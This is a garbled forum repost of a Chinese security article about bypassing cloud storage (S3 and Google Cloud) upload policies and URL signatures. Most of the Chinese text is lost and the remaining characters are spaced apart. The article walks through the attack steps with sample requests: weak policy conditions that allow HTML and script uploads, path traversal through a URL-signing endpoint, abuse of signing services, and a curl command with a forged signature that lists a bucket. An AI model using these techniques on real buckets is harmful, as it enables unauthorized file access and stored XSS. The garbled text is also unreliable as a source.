[13079] 2018-08-18_如何绕过并利用Bucket的上传策略和URL签名

文档创建者:s7ckTeam
浏览次数:9
最后更新:2025-01-18
2018-08-18_如何绕过并利用Bucket的上传策略和URL签名 B u c k e t U R L H y d r a l a b   F r e e B u f   2 0 1 8 - 0 8 - 1 8 B u c k e t B u c k e t 便 便 访 访 B u c k e t B u c k e t B u c k e t B u c k e t U R L B u c k e t G o o g l e A W S   S 3 使 B u c k e t B u c k e t U R L 访 B u c k e t 使 P O S T 访 B u c k e t P O S T A W S P O S T   U R L A W S U R L G o o g l e P U T D E L E T E G E T   H T T P C o n t e n t - T y p e 访 U R L P O S T 使 U R L 访 A s s u m e R o l e W i t h W e b I d e n t i t y   P O S T I A M   R o l e 访 A S I A   * U R L 使 P O S T
使 b a 6 4 J S O N A W S   S 3 U R L h t t p s : / / b u c k e t - n a m e . s 3 . a m a z o n a w s . c o m / ? X - A m z - A l g o r i t h m = A W S 4 - H M A C - S H A 2 5 6 & X - A m z - C r e d e n t i a l = A K I A l   A c c e s s   =   Y e s - 访 A C L p u b l i c - r e a d U R L A C L l   I n l i n e = Y e s - c o n t e n t - d i s p o s i t i o n {   " e x p i r a t i o n " : " 2 0 1 8 - 0 7 - 3 1 T 1 3 : 5 5 : 5 0 Z " ,   " c o n d i t i o n s " :   [   { " b u c k e t " :   " b u c k e t - n a m e " } ,   [ " s t a r t s - w i t h " ,   " $ k e y " ,   " a c c 1 2 3 " ] ,   { " a c l " :   " p u b l i c - r e a d " } ,   { " s u c c e s s _ a c t i o n _ r e d i r e c t " : " h t t p s : / / d a s h b o a r d . e x a m p l e . c o m / " } ,   [ " s t a r t s - w i t h " ,   " $ C o n t e n t - T y p e " ,   " " ] ,   [ " c o n t e n t - l e n g t h - r a n g e " ,   0 ,   5 2 4 2 8 8 ]   ] } H T T P S   / / s t o r a g e . g o o g l e a p i s . c o m / u p l o a d s / i m a g e s / t e s t . p n g ? E x p i r e s = 1 5 1 5 1 9 8 3 8 2 & G o o g l e A c c e s s I d = e x a m p l e % 4 0 e x a m p l e . i a m . g s e r v i c e a c c o u n t . c o m & S i g n a t u r e = d l M A - - -
1 .   s t a r t s - w i t h   $ k e y B u c k e t k e y B u c k e t 使 U U I D B u c k e t 2 .   s t a r t s - w i t h   $ k e y   $ k e y B u c k e t   A c c e s s = Y e s   I n l i n e = Y e s c o n t e n t - t y p e 3 4 A p p C a c h e - m a n i f e s t U R L A p p C a c h e   @ a v l i d i e n b r u n n @ f i l e d e s c r i p t o r 3 .   s t a r t s - w i t h   $ C o n t e n t - T y p e A c c e s s = Y e s   I n l i n e = Y e s B u c k e t t e x t / h t m l 2 使 j a v a s c r i p t A p p C a c h e - m a n i f e s t 访 4 . 使 使 s t a r t s - w i t h   $ C o n t e n t - T y p e : 3 使 m i m e t e x t / h t m l t e x t / h t m l C o n t e n t - t y p e :   i m a g e / j p e g z ; t e x t / h t m l [ " s t a r t s - w i t h " ,   " $ k e y " , " " ] [ " s t a r t s - w i t h " ,   " $ k e y " , " a c c _ 1 3 2 2 3 4 2 m 3 4 2 3 " ] [ " s t a r t s - w i t h " , " $ C o n t e n t - T y p e " ,   " " ] [ " s t a r t s - w i t h " , " $ C o n t e n t - T y p e " ,   " i m a g e / j p e g " ]
S 3 - B u c k e t H T M L j a v a s c r i p t 使 使 U R L U R L 访 U R L B u c k e t B u c k e t G E T - U R L 使 B u c k e t B u c k e t B u c k e t U R L 访 G E T - U R L B u c k e t 1 . 使 使 g e t - i m a g e B u c k e t 访 访 h t t p s : / / f r e e h a n d . e x a m p l e . c o m / a p i / g e t - i m a g e ? k e y = a b c & d o c u m e n t = x y z U R L h t t p s : / / p r o d a p p . s 3 . a m a z o n a w s . c o m / d o c u m e n t s / 6 4 8 4 7 5 / i m a g e s / a b c ? X - A m z - A l g o r i t h m = A W S 4 - H M A C - S H A 2 5 6 U R L B u c k e t h t t p s : / / f r e e h a n d . e x a m p l e . c o m / a p i / g e t - i m a g e ? k e y = . . / . . / . . / & d o c u m e n t = x y z h t t p s : / / p r o d a p p . s 3 . a m a z o n a w s . c o m / ? X - A m z - A l g o r i t h m = A W S 4 - H M A C - S H A 2 5 6 & X - A m z - C r e d e n t i a l = A K I A U R L B u c k e t 2 . U R L U R L U R L U R L P O S T   / a p i / f i l e _ s e r v i c e / f i l e _ u p l o a d _ p o l i c i e s / s 3 _ u r l _ s i g n a t u r e . j s o n H T T P / 1 . 1 H o s t :   s e c t e s t . e x a m p l e . c o m   { " u r l " : " h t t p s : / / e x a m p l e - b u c k e t . s 3 . a m a z o n a w s . c o m / d i r / f i l e . p n g " }
使 s 3 . a m a z o n a w s . c o m 访 S 3 - b u c k e t U R L B u c k e t   U R L U R L   e x t r a c t i o n U R L U R L B u c k e t 3 . U R L U R L   s e c u r e . e x a m p l e . c o m U R L h t t p s : / / s e c u r e . e x a m p l e . c o m / f i l e s / a b c - 1 2 3 - d e f - 4 5 6 - g h i - 7 8 9 L o c a t i o n : h t t p s : / / e x a m p l e . s 3 . a m a z o n a w s . c o m / f i l e . j p g ? S i g n a t u r e = i 0 Y Z s 3 _ k e y U R L h t t p s : / / s e c u r e . e x a m p l e . c o m / f i l e s / x x 1 2 3 4 L o c a t i o n : h t t p s : / / e x a m p l e . s 3 . a m a z o n a w s . c o m / ? S i g n a t u r e = i 0 Y Z B u c k e t 使 B u c k e t B u c k e t { " s i g n e d U r l " : " h t t p s : / / s 3 . a m a z o n a w s . c o m / e x a m p l e - b u c k e t / d i r / f i l e . p n g ? X - A m z - A l g o r i t h m = A W S 4 - H M A C . . . " } {   u r l   h t t p s / / . x . / e x a m p l e - b u c k e t } { " s i g n e d U R L " : " h t t p s : / / s 3 . a m a z o n a w s . c o m / / e x a m p l e - b e t a ? X - A m z - A l g o r i t h m = A W S 4 - H M A C . . . " } P O S T   / a p i / s 3 _ f i l e /   H T T P / 1 . 1 H o s t :   s e c u r e . e x a m p l e . c o m   { " i d " : n u l l , " r a n d o m _ k e y " : " a b c - 1 2 3 - d e f - 4 5 6 - g h i - 7 8 9 " , " s 3 _ k e y " : " / f i l e . j p g " , " u p l o a d e r _ i d " : 7 1 9 5 7 , " e m p l o y e e _ i d " : n u l l } H T T P / 1 . 1   2 0 1   C R E A T E D   { " e m p l o y e e _ i d " : n u l l , " s 3 _ k e y " :   " / f i l e . j p g " ,   " u p l o a d e r _ i d " :   7 1 9 5 7 , " r a n d o m _ k e y " : " a b c - 1 2 3 - d e f - 4 5 6 - g h i - 7 8 9 " ,   " i d " :   n u l l } " r a n d o m _ k e y " : " x x 1 2 3 4 " , " s 3 _ k e y " : " / "
l   $ k e y l   c o n t e n t - d i s p o s i t i o n a t t a c h m e n t l   a c l     p r i v a t e   l   c o n t e n t - t y p e 使   s t a r t s - w i t h U R L h t t p s : / / s e c u r e . e x a m p l e . c o m / a p i / f i l e _ u p l o a d _ p o l i c i e s / m u l t i p a r t _ s i g n a t u r e ? t o _ s i g n = G E T % 0 A % 0 A % 0 A % 0 A x - a m z - d a t e % 3 A F r i % 2 C % 2 0 0 9 % 2 0 M a r % 2 0 2 0 1 8 % 2 0 0 0 % 3 A 1 1 % 3 A 2 8 % 2 0 G M T % 0 A % 2 F b u c k e t - n a m e % 2 F & d a t e t i m e = F r i , % 2 0 0 9 % 2 0 M a r % 2 0 2 0 1 8 % 2 0 0 0 : 1 1 : 2 8 % 2 0 G M T U R L S 3 使 A W S - k e y 使 A W S * d e t e c t i f y H y d r a l a b   F r e e B u f . C O M 0 z f A a 9 z I B l X H 7 6 r T i t X X X u h E y J I   = c u r l   - H   " A u t h o r i z a t i o n :   A W S A K I A J A X X P Z R 2 X X X 7 Z X X X : 0 z f A a 9 z I B l X H 7 6 r T i t X X X u h E y J I = "   - H   " x - a m z - d a t e : F r i ,   0 9   M a r   2 0 1 8   0 0 : 1 1 : 2 8   G M T "   h t t p s : / / s 3 . a m a z o n a w s . c o m / b u c k e t - n a m e /

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则